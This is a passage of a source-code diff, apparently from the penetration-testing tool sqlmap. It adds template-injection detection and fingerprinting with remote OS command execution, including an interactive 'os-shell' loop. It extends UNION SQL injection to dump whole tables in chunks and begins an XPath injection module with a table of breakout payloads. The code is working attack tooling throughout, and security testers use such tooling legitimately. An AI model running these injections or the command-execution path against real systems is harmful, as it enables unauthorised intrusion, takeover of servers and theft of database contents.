+    c = b + 1  # different operand -> different result
+
+    result1 = str(a * b)
+    result2 = str(a * c)
+
+    for fmt in (engine.arithmeticFmt, engine.arithmeticUnescapedFmt):
+        if not fmt:
+            continue
+
+        try:
+            p1 = original + _arithmeticPayload(fmt, a, b)
+            p2 = original + _arithmeticPayload(fmt, a, c)
+        except (ValueError, TypeError):
+            logger.debug("SSTI arithmetic: format failed for engine '%s' with fmt=%r" % (engine.name, fmt))
+            continue
+
+        page1 = _send(place, parameter, p1)
+        page2 = _send(place, parameter, p2)
+
+        if not page1 or not page2:
+            continue
+
+        text1 = getUnicode(page1)
+        text2 = getUnicode(page2)
+
+        # Raw payload reflection means the template did NOT execute
+        if p1 in text1 or p2 in text2:
+            continue
+
+        # Match against a digit-group-stripped copy so a grouped result (e.g. FreeMarker's
+        # "132,678") still counts; the raw-reflection check above stays on the original text.
+        norm1, norm2 = _degroup(text1), _degroup(text2)
+
+        # Each result must appear in its own response and NOT in the other
+        if result1 in norm1 and result2 not in norm1 and result2 in norm2 and result1 not in norm2:
+            return True
+
+    return False
+
+
+def _probeError(place, parameter, engine):
+    """Inject each error probe suffix and check for engine-specific error messages."""
+    if not engine.errorRegex or not engine.errorProbes:
+        return None
+
+    original = _originalValue(place, parameter) or ""
+
+    for probe in engine.errorProbes:
+        payload = original + probe
+        page = _send(place, parameter, payload)
+        if not page:
+            continue
+        if _isError(page, engine):
+            return page
+    return None
+
+
+# A divide-by-zero error is language-family specific, which separates engines that SHARE a
+# delimiter but run on different runtimes (Jinja2/Python vs Twig/PHP in '{{ }}', or Mako/Python
+# vs Freemarker/Spring/Java in '${ }'). Matching is case-SENSITIVE so Python's lowercase
+# 'division by zero' is not confused with PHP's capitalised 'Division by zero'. JS is omitted on
+# purpose: 1/0 yields Infinity there rather than an error, so it carries no family signal.
+_FAMILY_DIVZERO = (
+    ("python", re.compile(r"division by zero")),
+    ("ruby",   re.compile(r"divided by 0")),
+    ("php",    re.compile(r"DivisionByZeroError|Division by zero")),
+    ("java",   re.compile(r"ArithmeticException|/ by zero")),
+)
+
+
+def _probeFamily(place, parameter, engine, cache):
+    """Inject a divide-by-zero inside the engine's delimiter and infer the backend language
+    family from the resulting error. Returns the family string or None. Responses are cached by
+    payload so engines that share a delimiter ('{{1/0}}' etc.) cost a single request."""
+
+    if not engine.arithmeticFmt or not engine.delimiterClose:
+        return None
+
+    payload = (_originalValue(place, parameter) or "") + engine.delimiter + "1/0" + engine.delimiterClose
+    if payload not in cache:
+        cache[payload] = _send(place, parameter, payload)
+    page = cache[payload]
+    if not page:
+        return None
+
+    text = getUnicode(page)
+    if payload in text:                      # raw reflection -> template did not execute it
+        return None
+    for family, regex in _FAMILY_DIVZERO:
+        if regex.search(text):
+            return family
+    return None
+
+
+def _probeDistinguishing(place, parameter, engine):
+    """Send the engine-specific fingerprint probe and verify the response.
+    For probes with a non-empty expected result, the result must appear and the
+    raw probe must NOT be reflected verbatim.
+    For empty-result (comment-style) probes, the response must stay similar to
+    baseline and the probe must NOT appear in the output."""
+
+    if not engine.distinguishingProbe:
+        return False
+
+    original = _originalValue(place, parameter) or ""
+    probe = engine.distinguishingProbe
+    page = _send(place, parameter, original + probe)
+    if page is None:
+        return False
+
+    text = getUnicode(page)
+
+    # Reject raw reflection: if the probe appears verbatim, the template didn't execute it
+    if probe in text:
+        return False
+
+    if engine.distinguishingResult:
+        return engine.distinguishingResult in text
+
+    # Empty-result (comment-style) probe: response must stay similar to baseline
+    baseline = _send(place, parameter, original)
+    return _ratio(page, baseline) >= UPPER_RATIO_BOUND
+
+
+def _detectBoolean(place, parameter, engine):
+    """Establish a boolean oracle for this engine. Returns the true template or None."""
+    original = _originalValue(place, parameter) or ""
+
+    truePayload = original + engine.booleanTrue
+    falsePayload = original + engine.booleanFalse
+
+    if engine.trueRendered:
+        truePage = _send(place, parameter, truePayload)
+        if not truePage:
+            return None
+        text = getUnicode(truePage)
+        if truePayload in text or engine.trueRendered not in text:
+            return None
+
+    # Reject reflected false payload
+    falsePage = _send(place, parameter, falsePayload)
+    if falsePage and falsePayload in getUnicode(falsePage):
+        return None
+
+    return _boolean(lambda p=truePayload: _send(place, parameter, p),
+                    lambda p=falsePayload: _send(place, parameter, p))
+
+
+def _booleanUniquelyIdentifies(engine):
+    """Returns True when the engine's boolean rendering signature is unique
+    among all engines sharing the same delimiter, allowing exact naming."""
+    siblings = [e for e in _ENGINE_TABLE if e.delimiter == engine.delimiter]
+    signature = (engine.booleanTrue, engine.booleanFalse,
+                 engine.trueRendered, engine.falseRendered)
+    count = sum((e.booleanTrue, e.booleanFalse,
+                 e.trueRendered, e.falseRendered) == signature for e in siblings)
+    return count == 1
+
+
+def _familyUniquelyIdentifies(engine):
+    """Returns True when the engine's language family is unique among engines sharing the
+    same delimiter, so a divide-by-zero family probe is enough to name it exactly."""
+    siblings = [e for e in _ENGINE_TABLE if e.delimiter == engine.delimiter]
+    return sum(e.family == engine.family for e in siblings) == 1
+
+
+def _fingerprint(place, parameter):
+    """Identify the template engine and confirm injection. Returns (engine, evidence)
+    where evidence is a dict of detection results, or (None, None).
+
+    Scoring: arithmetic(3) + boolean(2) + error(1) + distinguishing(2) + family(1).
+    Engines sharing delimiters require error, distinguishing, unique boolean rendering, or a
+    uniquely-identifying language family to be named exactly; otherwise they are reported as
+    family/probable."""
+
+    bestEngine = None
+    bestEvidence = None
+    bestScore = 0
+    divZeroCache = {}
+
+    for engine in _ENGINE_TABLE:
+        evidence = {}
+        score = 0
+
+        # Phase 1: Arithmetic in-band proof with control pair (strongest)
+        if _probeArithmetic(place, parameter, engine):
+            evidence["arithmetic"] = True
+            score += 3
+
+        # Phase 2: Boolean oracle
+        if _detectBoolean(place, parameter, engine):
+            evidence["boolean"] = True
+            score += 2
+
+        # Phase 3: Error-based fingerprinting
+        errorPage = _probeError(place, parameter, engine)
+        if errorPage is not None:
+            if _isError(errorPage, engine):
+                evidence["error"] = True
+                score += 1
+
+        # Phase 4: Distinguishing probe (breaks ties within delimiter families)
+        if _probeDistinguishing(place, parameter, engine):
+            evidence["distinguishing"] = True
+            score += 2
+
+        # Phase 5: language-family confirmation via divide-by-zero error class
+        if _probeFamily(place, parameter, engine, divZeroCache) == engine.family:
+            evidence["family"] = True
+            score += 1
+
+        if score > bestScore:
+            bestScore = score
+            bestEngine = engine
+            bestEvidence = evidence
+
+    if bestEngine and bestScore >= 3:
+        # For engines with ambiguous delimiters (shared by multiple engines),
+        # name a specific engine when: error fingerprint, distinguishing probe,
+        # or boolean rendering is unique within the delimiter family.
+        _FAMILY = {
+            "{{": "Jinja2/Twig/Handlebars-like",
+            "${": "Freemarker/SpringEL/Mako-like",
+        }
+        if bestEngine.delimiter in _FAMILY:
+            if (bestEvidence.get("error") or
+                bestEvidence.get("distinguishing") or
+                (bestEvidence.get("boolean") and _booleanUniquelyIdentifies(bestEngine)) or
+                (bestEvidence.get("family") and _familyUniquelyIdentifies(bestEngine))):
+                pass  # specific engine name stands
+            else:
+                bestEngine = bestEngine._replace(
+                    name="%s (probable %s)" % (_FAMILY[bestEngine.delimiter], bestEngine.name))
+        return bestEngine, bestEvidence
+
+    # Fallback: generic error detection
+    errorBackend = None
+    for suffix in ("{{", "${", "<%=", "#{"):
+        page = _send(place, parameter, _originalValue(place, parameter) + suffix)
+        if page:
+            backend = _backendFromError(page)
+            if backend:
+                errorBackend = backend
+                break
+
+    if errorBackend:
+        for engine in _ENGINE_TABLE:
+            if engine.name.lower() in errorBackend.lower():
+                return engine, {"error": True}
+
+    return None, None
+
+
+def sstiScan():
+    global SENTINEL
+    SENTINEL = randomStr(length=10, lowercase=True)
+
+    debugMsg = "'--ssti' is self-contained: it detects SSTI and fingerprints "
+    debugMsg += "common template engines when possible. SQL enumeration "
+    debugMsg += "switches (--banner, --dbs, --tables, --users, --sql-query) are ignored"
+    logger.debug(debugMsg)
+
+    if not conf.paramDict:
+        logger.error("no request parameters to test (use --data, GET params, or similar)")
+        return
+
+    tested = 0
+    found = []
+
+    for place in (_ for _ in SSTI_PLACES if _ in conf.paramDict):
+        # mirror sqlmap's SQL place level-gating: Cookie parameters are only tested at --level >= 2
+        if place == PLACE.COOKIE and conf.level < 2:
+            continue
+        for parameter in list(conf.paramDict[place].keys()):
+            if conf.testParameter and parameter not in conf.testParameter:
+                continue
+
+            tested += 1
+            logger.info("testing SSTI on %s parameter '%s'" % (place, parameter))
+
+            engine, evidence = _fingerprint(place, parameter)
+            if engine:
+                found.append((place, parameter, engine, evidence))
+                logger.info("%s parameter '%s' is vulnerable to SSTI (back-end: '%s')" % (place, parameter, engine.name))
+                if conf.beep:
+                    beep()
+
+                if engine.arithmeticFmt:
+                    payload = _originalValue(place, parameter) + _arithmeticPayload(engine.arithmeticFmt, 7, 7)
+                else:
+                    payload = _originalValue(place, parameter) + engine.booleanTrue
+                title = "SSTI %s injection" % engine.name
+                report = "---\nParameter: %s (%s)\n    Type: SSTI\n    Title: %s\n    Payload: %s=%s\n---" % (parameter, place, title, parameter, payload)
+                conf.dumper.singleString(report)
+
+                if evidence.get("arithmetic"):
+                    logger.info("in-band arithmetic proof confirmed (control-pair)")
+                if evidence.get("boolean"):
+                    logger.info("boolean oracle confirmed")
+
+    if not found:
+        if tested:
+            warnMsg = "no parameter appears to be injectable via SSTI (%d tested)" % tested
+        else:
+            warnMsg = "no parameters found to test for SSTI"
+        logger.warning(warnMsg)
+    else:
+        engines = set(engine.name for _, _, engine, _ in found)
+        if len(engines) == 1:
+            logger.info("back-end template engine: '%s'" % engines.pop())
+        else:
+            logger.info("back-end template engines: %s" % ", ".join(sorted(engines)))
+
+    if found:
+        slot = found[0]
+        place, parameter, engine, evidence = slot
+        from lib.core.common import readInput
+
+        wantsTakeover = any(conf.get(_) for _ in ("osCmd", "osShell"))
+
+        # If the user did not ask for exploitation, confirm (benignly) whether OS command
+        # execution is reachable and, if so, advise the relevant switches.
+        if not wantsTakeover and _canTakeover(engine, evidence) and _probeRce(place, parameter, engine):
+            logger.info("the back-end '%s' allows OS command execution via this injection; "
+                        "you are advised to try '--os-shell' (interactive) or "
+                        "'--os-cmd=<command>' (single command)" % engine.name)
+
+        # --os-cmd / --os-shell: RCE via SSTI (reuses existing SQL takeover flags)
+        if conf.get("osCmd") or conf.get("osShell"):
+            if not _canTakeover(engine, evidence):
+                logger.error("takeover requires exact engine fingerprint (got '%s') and "
+                             "confirmed proof (arithmetic or boolean oracle)" % engine.name)
+            else:
+                if conf.get("osCmd"):
+                    _executeCommand(place, parameter, engine, conf.osCmd)
+
+                # Interactive shell runs even under --batch (mirrors the SQL --os-shell, which
+                # reads commands straight from the terminal); EOF / 'exit' / 'quit' leaves it.
+                if conf.get("osShell"):
+                    logger.info("calling SSTI OS shell. Enter commands or 'exit'/'quit' to leave")
+                    while True:
+                        cmd = readInput("os-shell> ", checkBatch=False)
+                        if not cmd or cmd.strip().lower() in ("exit", "quit"):
+                            break
+                        _executeCommand(place, parameter, engine, cmd.strip())
+
+    logger.info("SSTI scan complete")
+
+
+def _escapeSingleQuoted(value):
+    """Escape backslashes and single quotes for embedding in a single-quoted string."""
+    return value.replace("\\", "\\\\").replace("'", "\\'")
+
+
+def _canTakeover(engine, evidence):
+    """Require exact engine fingerprint (not a family guess) and confirmed
+    proof before attempting OS command execution."""
+    if not engine.rcePayloads:
+        return False
+    if "(probable" in engine.name or "-like" in engine.name:
+        return False
+    if not (evidence.get("arithmetic") or evidence.get("boolean")):
+        return False
+    return True
+
+
+def _probeRce(place, parameter, engine):
+    """Benign, quiet RCE-capability check: run `echo <marker>` via the engine's RCE payloads and
+    return True if the marker is reflected (proving OS command execution is reachable). Used only
+    to advise the user; it has no side effect beyond echoing a random token."""
+
+    if not engine.rcePayloads:
+        return False
+
+    marker = randomStr(length=12, lowercase=True)
+    original = _originalValue(place, parameter) or ""
+    for payloadTemplate, _description in engine.rcePayloads:
+        payload = payloadTemplate.replace("{CMD}", "echo %s" % marker)
+        page = _send(place, parameter, original + payload)
+        if page and marker in getUnicode(page):
+            return True
+    return False
+
+
+def _executeCommand(place, parameter, engine, cmd):
+    """Execute an OS command via the engine's RCE payloads, trying each fallback
+    in order until one produces output. Captures output via baseline diff."""
+
+    safeCmd = _escapeSingleQuoted(cmd)
+    original = _originalValue(place, parameter) or ""
+    baseline = _send(place, parameter, original)
+
+    for payloadTemplate, description in engine.rcePayloads:
+        payload = payloadTemplate.replace("{CMD}", safeCmd)
+        fullPayload = original + payload
+        page = _send(place, parameter, fullPayload)
+
+        if not page:
+            continue
+
+        # Skip error pages (payload caused a template exception, not a shell)
+        if engine.errorRegex and _isError(page, engine):
+            continue
+
+        text = getUnicode(page)
+        baseText = getUnicode(baseline or "")
+        output = ""
+
+        if baseText and text != baseText:
+            sm = difflib.SequenceMatcher(None, baseText, text)
+            opcodes = sm.get_opcodes()
+            parts = []
+            for tag, i1, i2, j1, j2 in opcodes:
+                if tag in ("insert", "replace"):
+                    parts.append(text[j1:j2])
+            if parts:
+                output = "".join(parts).strip()
+
+        if not output:
+            output = text
+            if original and output.startswith(original):
+                output = output[len(original):]
+            output = output.strip()
+
+        # A template that ECHOED our payload directive instead of executing it (e.g. a patched or
+        # sandboxed Velocity reflecting the literal "$ex.waitFor()") is reflection, not command
+        # output: reject it so the loop falls through to the honest "no output received" warning
+        # instead of presenting a reflected payload fragment as a fake command result.
+        if output and output in payload:
+            continue
+
+        # Suppress when output is just the baseline with the original value removed
+        # (command produced no output; the template rendered empty)
+        # Filter out template error messages masquerading as command output
+        if output and _ratio(output, baseText) < UPPER_RATIO_BOUND:
+            if output != baseText.strip() and not (baseText and baseText.replace(original, "").strip() == output):
+                conf.dumper.singleString("\nos-shell (%s) [%s]:\n%s" % (cmd, description, output))
+                return
+
+    logger.warning("no output received for OS command '%s' (tried %d payload(s))" % (cmd, len(engine.rcePayloads)))

lib/techniques/union/test.py

@@ -235,7 +235,7 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO
             randQueryUnescaped = unescaper.escape(randQueryProcessed)
 
             # Forge the union SQL injection request
-            query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where)
+            query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, collate=True)
             payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)
 
             # Perform the request
@@ -255,7 +255,7 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO
                     randQueryUnescaped2 = unescaper.escape(randQueryProcessed2)
 
                     # Confirm that it is a full union SQL injection
-                    query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, multipleUnions=randQueryUnescaped2)
+                    query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, multipleUnions=randQueryUnescaped2, collate=True)
                     payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)
 
                     # Perform the request
@@ -268,7 +268,7 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO
                         fromTable = " FROM (%s) AS %s" % (" UNION ".join("SELECT %d%s%s" % (_, FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), ""), " AS %s" % randomStr() if _ == 0 else "") for _ in xrange(LIMITED_ROWS_TEST_NUMBER)), randomStr())
 
                         # Check for limited row output
-                        query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, fromTable=fromTable)
+                        query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, fromTable=fromTable, collate=True)
                         payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)
 
                         # Perform the request

lib/techniques/union/use.py

@@ -50,6 +50,7 @@ from lib.core.enums import HTTP_HEADER
 from lib.core.enums import PAYLOAD
 from lib.core.exception import SqlmapDataException
 from lib.core.exception import SqlmapSyntaxException
+from lib.core.settings import JSON_AGG_CHUNK_ROWS
 from lib.core.settings import MAX_BUFFERED_PARTIAL_UNION_LENGTH
 from lib.core.settings import NULL
 from lib.core.settings import SQL_SCALAR_REGEX
@@ -84,12 +85,12 @@ def _oneShotUnionUse(expression, unpack=True, limited=False):
             except IndexError:
                 pass
 
-            query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, limited)
+            query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, limited, collate=True)
             where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else vector[6]
         else:
             injExpression = unescaper.escape(expression)
             where = vector[6]
-            query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, False)
+            query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, False, collate=True)
 
         payload = agent.payload(newValue=query, where=where)
 
@@ -129,7 +130,7 @@ def _oneShotUnionUse(expression, unpack=True, limited=False):
                             retVal = None
                         else:
                             retVal = getUnicode(retVal)
-                elif Backend.isDbms(DBMS.PGSQL):
+                elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.H2, DBMS.HSQLDB, DBMS.FIREBIRD):
                     output = extractRegexResult(r"(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop), removeReflectiveValues(_page, payload))
                     if output:
                         retVal = output
@@ -150,6 +151,14 @@ def _oneShotUnionUse(expression, unpack=True, limited=False):
 
                 if retVal:
                     break
+
+            # Detect a single-shot aggregate that was too large to return whole, so the caller can
+            # switch to chunked (windowed) aggregation: either the response carries the leading
+            # marker but no trailing one (cut mid-aggregate by sqlmap's cap and/or a silent DBMS
+            # truncation, regardless of compression), or the DBMS refused it outright with a packet
+            # size error (e.g. MySQL "Result of json_arrayagg() was larger than max_allowed_packet").
+            if retVal is None and page and ((kb.chars.start in page and kb.chars.stop not in page) or "max_allowed_packet" in page):
+                kb.respTruncated = True
         else:
             # Parse the returned page to get the exact UNION-based
             # SQL injection output
@@ -237,6 +246,76 @@ def configUnion(char=None, columns=None):
     _configUnionChar(char)
     _configUnionCols(conf.uCols or columns)
 
+def _chunkedJsonAggUse(expression, expressionFields, expressionFieldsList, count):
+    """
+    Fallback for when a full (single-shot) JSON-agg UNION table dump is too large to be returned
+    whole (DBMS packet limit / sqlmap response cap). Instead of dropping to the slow per-row UNION
+    path, rows are aggregated in bounded windows of K rows per request (JSON_ARRAYAGG over a
+    LIMIT-windowed subquery), keeping near full-UNION throughput while staying well under the
+    caps. K is halved adaptively if a chunk response still gets truncated. Returns a BigArray of
+    rows, or None to let the caller fall back to the regular per-row UNION path.
+
+    Same DBMS coverage as the single-shot JSON-agg (per-DBMS aggregate + windowing); others -> None.
+    """
+    dbms = Backend.getIdentifiedDbms()
+
+    if dbms not in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2, DBMS.HSQLDB, DBMS.FIREBIRD) or not expressionFields or not expressionFieldsList:
+        return None
+
+    start, stop, delimiter = kb.chars.start, kb.chars.stop, kb.chars.delimiter
+
+    # a stable total ordering (all output columns) so the LIMIT/OFFSET windows never overlap or drop rows
+    base = re.sub(r"(?i)\s+ORDER BY\s+.+\Z", "", expression)
+    orderBy = "ORDER BY %s" % ','.join(str(_ + 1) for _ in range(len(expressionFieldsList)))
+    nulled = [agent.nullAndCastField(_) for _ in expressionFieldsList]
+
+    # per-DBMS: aggregate-over-windowed-columns expression (mirrors the single-shot branches) plus
+    # the "K rows at offset" window clause appended to the inner derived table
+    if dbms == DBMS.MYSQL:
+        aggExpr = "CONCAT('%s',JSON_ARRAYAGG(CONCAT_WS('%s',%s)),'%s')" % (start, delimiter, ','.join(nulled), stop)
+        window = lambda o, k: "%s LIMIT %d,%d" % (orderBy, o, k)
+    elif dbms == DBMS.PGSQL:
+        aggExpr = "STRING_AGG('%s'||%s||'%s','')" % (start, ("||'%s'||" % delimiter).join("COALESCE(%s::text,' ')" % _ for _ in expressionFieldsList), stop)
+        window = lambda o, k: "%s LIMIT %d OFFSET %d" % (orderBy, k, o)
+    elif dbms == DBMS.SQLITE:
+        aggExpr = "'%s'||JSON_GROUP_ARRAY(%s)||'%s'" % (start, ("||'%s'||" % delimiter).join("COALESCE(%s,' ')" % _ for _ in expressionFieldsList), stop)
+        window = lambda o, k: "%s LIMIT %d OFFSET %d" % (orderBy, k, o)
+    elif dbms in (DBMS.H2, DBMS.HSQLDB):
+        aggExpr = "GROUP_CONCAT('%s'||%s||'%s' SEPARATOR '')" % (start, ("||'%s'||" % delimiter).join(nulled), stop)
+        window = lambda o, k: "%s LIMIT %d OFFSET %d" % (orderBy, k, o)
+    elif dbms == DBMS.FIREBIRD:
+        aggExpr = "LIST('%s'||%s||'%s','')" % (start, ("||'%s'||" % delimiter).join(nulled), stop)
+        window = lambda o, k: "%s ROWS %d TO %d" % (orderBy, o + 1, o + k)
+
+    debugMsg = "single-shot UNION dump output was too large; switching to "
+    debugMsg += "chunked (windowed) JSON aggregation of %d entries" % count
+    singleTimeDebugMessage(debugMsg)
+
+    retVal = BigArray()
+    chunk = JSON_AGG_CHUNK_ROWS
+    offset = 0
+
+    while offset < count:
+        query = "SELECT %s FROM (%s %s) sqmapx" % (aggExpr, base, window(offset, chunk))
+
+        kb.jsonAggMode = True
+        output = _oneShotUnionUse(query, False)
+        kb.jsonAggMode = False
+
+        if kb.respTruncated and chunk > 1:
+            chunk = max(1, chunk // 2)  # a single chunk is still too big -> shrink and retry same window
+            continue
+
+        rows = parseUnionPage(output)
+
+        if rows is None:
+            return None  # unexpected failure -> let the caller fall back to the per-row path
+
+        retVal.extend(arrayizeValue(rows))
+        offset += chunk
+
+    return retVal
+
 def unionUse(expression, unpack=True, dump=False):
     """
     This function tests for an UNION SQL injection on the target
@@ -258,8 +337,8 @@ def unionUse(expression, unpack=True, dump=False):
 
     _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(origExpr)
 
-    # Set kb.partRun in case the engine is called from the API
-    kb.partRun = getPartRun(alias=False) if conf.api else None
+    # Set kb.partRun in case the engine is called from the API or a JSON report is being collected
+    kb.partRun = getPartRun(alias=False) if (conf.api or conf.reportJson) else None
 
     if expressionFieldsList and len(expressionFieldsList) > 1 and "ORDER BY" in expression.upper():
         # Removed ORDER BY clause because UNION does not play well with it
@@ -268,7 +347,7 @@ def unionUse(expression, unpack=True, dump=False):
         debugMsg += "it does not play well with UNION query SQL injection"
         singleTimeDebugMessage(debugMsg)
 
-    if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ORACLE, DBMS.PGSQL, DBMS.MSSQL, DBMS.SQLITE) and expressionFields and not any((conf.binaryFields, conf.limitStart, conf.limitStop, conf.forcePartial, conf.disableJson)):
+    if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ORACLE, DBMS.PGSQL, DBMS.MSSQL, DBMS.SQLITE, DBMS.H2, DBMS.HSQLDB, DBMS.FIREBIRD) and expressionFields and not any((conf.binaryFields, conf.limitStart, conf.limitStop, conf.forcePartial, conf.disableJson)):
         match = re.search(r"SELECT\s*(.+?)\bFROM", expression, re.I)
         if match and not (Backend.isDbms(DBMS.ORACLE) and FROM_DUMMY_TABLE[DBMS.ORACLE] in expression) and not re.search(r"\b(MIN|MAX|COUNT|EXISTS)\(", expression):
             kb.jsonAggMode = True
@@ -282,10 +361,26 @@ def unionUse(expression, unpack=True, dump=False):
                 query = expression.replace(expressionFields, "STRING_AGG('%s'||%s||'%s','')" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join("COALESCE(%s::text,' ')" % field for field in expressionFieldsList), kb.chars.stop), 1)
             elif Backend.isDbms(DBMS.MSSQL):
                 query = "'%s'+(%s FOR JSON AUTO, INCLUDE_NULL_VALUES)+'%s'" % (kb.chars.start, expression, kb.chars.stop)
+            elif Backend.getIdentifiedDbms() in (DBMS.H2, DBMS.HSQLDB):
+                query = expression.replace(expressionFields, "GROUP_CONCAT('%s'||%s||'%s' SEPARATOR '')" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join(agent.nullAndCastField(field) for field in expressionFieldsList), kb.chars.stop), 1)
+            elif Backend.isDbms(DBMS.FIREBIRD):
+                query = expression.replace(expressionFields, "LIST('%s'||%s||'%s','')" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join(agent.nullAndCastField(field) for field in expressionFieldsList), kb.chars.stop), 1)
             output = _oneShotUnionUse(query, False)
             value = parseUnionPage(output)
             kb.jsonAggMode = False
 
+            # If the single-shot aggregate failed (typically too large for the DBMS packet limit /
+            # response cap) and the table is large, retrieve the rows in bounded windows (chunked
+            # JSON aggregation) before the slow per-row fallback. Done here (independent of the
+            # detected UNION where-clause) so it engages for any dumpable FROM-table query.
+            if value is None and " FROM " in expression.upper() and not re.search(SQL_SCALAR_REGEX, expression, re.I) and not any((kb.forcePartialUnion, conf.forcePartial, conf.disableJson, conf.binaryFields, conf.limitStart, conf.limitStop)):
+                chunkCountExpr = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % '*', 1)
+                if " ORDER BY " in chunkCountExpr.upper():
+                    chunkCountExpr = chunkCountExpr[:chunkCountExpr.upper().rindex(" ORDER BY ")]
+                chunkCount = unArrayizeValue(parseUnionPage(_oneShotUnionUse(chunkCountExpr, unpack)))
+                if isNumPosStrValue(chunkCount) and (int(chunkCount) >= JSON_AGG_CHUNK_ROWS or kb.respTruncated):
+                    value = _chunkedJsonAggUse(expression, expressionFields, expressionFieldsList, int(chunkCount))
+
     # We have to check if the SQL query might return multiple entries
     # if the technique is partial UNION query and in such case forge the
     # SQL limiting the query output one entry at a time
@@ -295,8 +390,10 @@ def unionUse(expression, unpack=True, dump=False):
         expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump)
 
         if limitCond:
-            # Count the number of SQL query entries output
-            countedExpression = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % ('*' if len(expressionFieldsList) > 1 else expressionFields), 1)
+            # Count the number of SQL query entries output. NOTE: always COUNT(*) (row count); a single
+            # field must NOT use COUNT(field) as that excludes NULLs and would drop NULL-valued rows from
+            # the dump (e.g. a column whose value is NULL on some rows).
+            countedExpression = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % '*', 1)
 
             if " ORDER BY " in countedExpression.upper():
                 _ = countedExpression.upper().rindex(" ORDER BY ")

lib/techniques/xpath/__init__.py

@@ -0,0 +1,8 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
+See the file 'LICENSE' for copying permission
+"""
+
+pass

lib/techniques/xpath/inject.py

@@ -0,0 +1,687 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
+See the file 'LICENSE' for copying permission
+"""
+
+import difflib
+import re
+import time
+
+from collections import namedtuple
+
+from lib.core.common import beep
+from lib.core.common import randomStr
+from lib.core.convert import getUnicode
+from lib.core.data import conf
+from lib.core.data import logger
+from lib.core.enums import CUSTOM_LOGGING
+from lib.core.enums import PLACE
+from lib.core.settings import UPPER_RATIO_BOUND
+from lib.core.settings import XPATH_CHAR_MAX
+from lib.core.settings import XPATH_CHAR_MIN
+from lib.core.settings import XPATH_ERROR_REGEX
+from lib.core.settings import XPATH_ERROR_SIGNATURES
+from lib.core.settings import XPATH_MAX_DEPTH
+from lib.core.settings import XPATH_MAX_LENGTH
+from lib.request.connect import Connect as Request
+from lib.utils.xrange import xrange
+
+
+SENTINEL = randomStr(length=10, lowercase=True)
+
+XPATH_PLACES = (PLACE.GET, PLACE.POST, PLACE.CUSTOM_POST)
+
+# Each detection breakout is paired with a false variant and an (optional) extraction
+# boundary.  The boundary carries a prefix/suffix pair that wraps the extraction
+# predicate so the surrounding template stays syntactically valid.
+#
+# Breakouts are listed in detection-priority order: function-argument closers first,
+# then simple string, double-quoted, union wildcard, and bare numeric/boolean.
+
+_BREAKOUT_TABLE = (
+    # (breakout,                               false_variant,                        extraction_prefix, extraction_suffix  )
+    # -- function-argument (closes paren + string) ------------------------------------------------------------
+    ("') or true() or ('",                     "') and false() and ('",               "') or ",          " or ('"),
+    ("') or '1'='1' or ('",                    "') and '1'='2' and ('",              "') or ",          " or ('"),
+    ("') or 1=1 or ('",                        "') and 1=2 and ('",                   "') or ",          " or ('"),
+    # -- single-quoted string (suffix absorbs trailing quote; predicate decisive when original value unmatched)
+    ("' or '1'='1",                            "' and '1'='2",                        "' or ",           " and '1'='1"),
+    ("' or true() or '",                       "' and false() and '",                 "' or ",           " and '1'='1"),
+    ("' or 1=1 or '",                          "' and 1=2 and '",                     "' or ",           " and '1'='1"),
+    # -- AND context (single-quoted) -------------------------------------------------------------------------
+    ("' and '1'='1",                           "' and '1'='2",                        "' and ",          " and '1'='1"),
+    # -- double-quoted string (suffix absorbs trailing quote) -------------------------------------------------
+    ('" or "1"="1',                            '" and "1"="2',                        '" or ',           ' and "1"="1'),
+    ('" or true() or "',                       '" and false() and "',                 '" or ',           ' and "1"="1'),
+    # -- double-quoted function-argument ---------------------------------------------------------------------
+    ('") or true() or ("',                     '") and false() and ("',               '") or ',          ' or ("'),
+    # -- union wildcard (detection-only, no extraction) ------------------------------------------------------
+    ("']|//*|test['",                          None,                                  None,              None),
+    # -- numeric / bare context (extraction uses 'and'; requires original value to not match anything) ----------
+    (" or 1=1",                                " and 1=2",                            " and ",           ""),
+    (" or true()",                             " and false()",                        " and ",           ""),
+)
+
+# Boundary: a verified injection boundary with an extraction prefix+suffix and an
